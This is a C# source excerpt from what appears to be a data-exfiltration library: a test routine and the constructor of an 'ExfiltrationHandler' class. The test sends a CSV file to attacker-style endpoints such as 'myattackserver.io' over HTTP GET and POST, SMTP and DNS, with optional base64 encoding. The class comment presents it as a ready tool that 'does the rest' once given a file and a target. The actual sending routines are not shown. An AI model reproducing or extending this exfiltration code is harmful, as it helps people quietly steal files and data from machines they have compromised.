static void RunTests() { string testfile = "somefakerecs.csv"; // input csv, data must already be formatted to csv... well not reeally, but for testing is easy for (int i = 0; i < 1; i++) { SupportedFileTypes ftype = SupportedFileTypes.CSV; SupportedSenderMethods method1 = SupportedSenderMethods.GET; SupportedSenderMethods method2 = SupportedSenderMethods.POST; SupportedSenderMethods method3 = SupportedSenderMethods.OUTLOOK; SupportedSenderMethods method4 = SupportedSenderMethods.SMTP; SupportedSenderMethods method5 = SupportedSenderMethods.DNS; ExfiltrationHandler h1 = new ExfiltrationHandler(method1, ftype, testfile, "http://myattackserver.io:5000/receive.php"); ExfiltrationHandler h2 = new ExfiltrationHandler(method2, ftype, testfile, "http://myattackserver.io:5000/receive.php"); /*TEST THIS ONE*///ExfiltrationHandler h = new ExfiltrationHandler(method3, ftype, testfile, "http://myattackserver.io:5000/receive.php"); ExfiltrationHandler h3 = new ExfiltrationHandler(method4, ftype, testfile, "*****@*****.**", Options.SMTP_STARTTLS_HANDSHAKE); ExfiltrationHandler h4 = new ExfiltrationHandler(method5, ftype, testfile, "my.attack.server.ip"); /* h1.SendExfilData(Options.NONE); * h1.SendExfilData(Options.DATA_ENCODE_TO_B64); * h2.SendExfilData(Options.NONE); * h2.SendExfilData(Options.DATA_ENCODE_TO_B64); * h3.SendExfilData(Options.NONE); * h3.SendExfilData(Options.DATA_ENCODE_TO_B64);*/ h4.SendExfilData(Options.NONE); h4.SendExfilData(Options.DATA_ENCODE_TO_B64); } }
/// <summary> /// This is the public exposed class for the library. Give it an exfil method, a file type, the file path, and where you want to target with exfil and it does the rest. /// </summary> /// <param name="exfilMethod"></param> /// <param name="target"></param> public ExfiltrationHandler(SupportedSenderMethods exfilMethod, SupportedFileTypes fileType, String filepath, String target, Options ops = Options.NONE) { if (String.IsNullOrEmpty(filepath) || String.IsNullOrWhiteSpace(filepath) || String.IsNullOrEmpty(target) || String.IsNullOrWhiteSpace(target)) { throw new ArgumentException(); } fType = fileType; sendMethod = exfilMethod; this.filepath = filepath; this.exfilDestination = target; switch (exfilMethod) { //post and get both use a http client case SupportedSenderMethods.POST: SetMethodToHttpPost(ops); break; case SupportedSenderMethods.GET: SetMethodToHttpGet(ops); break; case SupportedSenderMethods.DNS: SetMethodToDnsQuery(ops); break; case SupportedSenderMethods.OUTLOOK: SetMethodToOutlook(ops); break; case SupportedSenderMethods.SMTP: SetMethodToSmtp(ops); break; default: throw new NotImplementedException("the requested exfil method has not been implemented within the ExfilHandler class"); } switch (fileType) { case SupportedFileTypes.CSV: SetReaderToCSV(); break; case SupportedFileTypes.PSV: SetReaderToPSV(); break; case SupportedFileTypes.JSON: SetReaderToJSON(); break; } }